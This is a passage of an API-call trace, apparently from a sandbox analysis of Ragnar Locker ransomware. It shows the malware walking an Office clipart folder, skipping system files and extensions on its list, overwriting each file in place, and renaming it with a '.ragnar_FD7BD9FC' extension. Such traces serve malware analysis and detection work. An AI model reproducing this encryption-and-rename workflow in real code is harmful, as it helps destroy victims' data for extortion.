files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.714] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0080.714] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.714] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01637_.WMF" | out: lpString1="BS01637_.WMF") returned="BS01637_.WMF" [0080.714] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned=".WMF" [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="autorun.inf") returned 1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="boot.ini") returned 1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="bootfont.bin") returned 1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="bootsect.bak") returned 1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="bootmgr") returned 1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="bootmgr.efi") returned 1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="desktop.ini") returned -1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="iconcache.db") returned -1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="ntldr") returned -1 [0080.714] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="ntuser.dat") returned -1 [0080.715] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.715] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="ntuser.ini") returned -1 [0080.715] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="thumbs.db") returned -1 [0080.715] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.715] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.715] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.715] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.715] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.715] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.715] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0080.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.715] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3948) returned 1 [0080.715] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.715] GetProcessHeap () returned 0x580000 [0080.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.715] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.717] VirtualAlloc (lpAddress=0x0, dwSize=0xf6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.718] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf6c, lpOverlapped=0x0) returned 1 [0080.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.718] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf6c, lpOverlapped=0x0) returned 1 [0080.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.718] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.719] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.719] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.719] GetProcessHeap () returned 0x580000 [0080.719] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.719] CloseHandle (hObject=0xf4) returned 1 [0080.719] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" [0080.719] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.ragnar_FD7BD9FC" [0080.719] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.719] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0080.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.720] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01638_.WMF" | out: lpString1="BS01638_.WMF") returned="BS01638_.WMF" [0080.720] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned=".WMF" [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="autorun.inf") returned 1 [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="boot.ini") returned 1 [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="bootfont.bin") returned 1 [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="bootsect.bak") returned 1 [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="bootmgr") returned 1 [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="bootmgr.efi") returned 1 [0080.720] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.721] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="desktop.ini") returned -1 [0080.721] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="iconcache.db") returned -1 [0080.721] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="ntldr") returned -1 [0080.721] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="ntuser.dat") returned -1 [0080.721] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.721] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="ntuser.ini") returned -1 [0080.721] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="thumbs.db") returned -1 [0080.721] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.721] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.721] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.721] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.721] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.721] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.721] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0080.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.721] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10538) returned 1 [0080.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2921, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.721] GetProcessHeap () returned 0x580000 [0080.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.721] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.723] VirtualAlloc (lpAddress=0x0, dwSize=0x292a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.723] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x292a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x292a, lpOverlapped=0x0) returned 1 [0080.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x292a, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.724] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x292a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x292a, lpOverlapped=0x0) returned 1 [0080.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x292a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.724] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x292a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.725] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.725] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.725] GetProcessHeap () returned 0x580000 [0080.725] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.725] CloseHandle (hObject=0xf4) returned 1 [0080.725] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" [0080.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.ragnar_FD7BD9FC" [0080.725] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0080.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.726] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01639_.WMF" | out: lpString1="BS01639_.WMF") returned="BS01639_.WMF" [0080.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned=".WMF" [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="autorun.inf") returned 1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="boot.ini") returned 1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="bootfont.bin") returned 1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="bootsect.bak") returned 1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="bootmgr") returned 1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="bootmgr.efi") returned 1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="desktop.ini") returned -1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="iconcache.db") returned -1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="ntldr") returned -1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="ntuser.dat") returned -1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="ntuser.ini") returned -1 [0080.726] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="thumbs.db") returned -1 [0080.726] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.726] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.726] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.726] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.727] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.727] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.727] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0080.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.727] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4236) returned 1 [0080.727] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1083, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.728] GetProcessHeap () returned 0x580000 [0080.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.728] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.729] VirtualAlloc (lpAddress=0x0, dwSize=0x108c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.729] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x108c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x108c, lpOverlapped=0x0) returned 1 [0080.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.730] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x108c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.730] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x108c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x108c, lpOverlapped=0x0) returned 1 [0080.730] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x108c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.730] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x108c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.731] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.731] GetProcessHeap () returned 0x580000 [0080.731] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.731] CloseHandle (hObject=0xf4) returned 1 [0080.731] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" [0080.731] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.ragnar_FD7BD9FC" [0080.731] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.734] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0080.734] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, 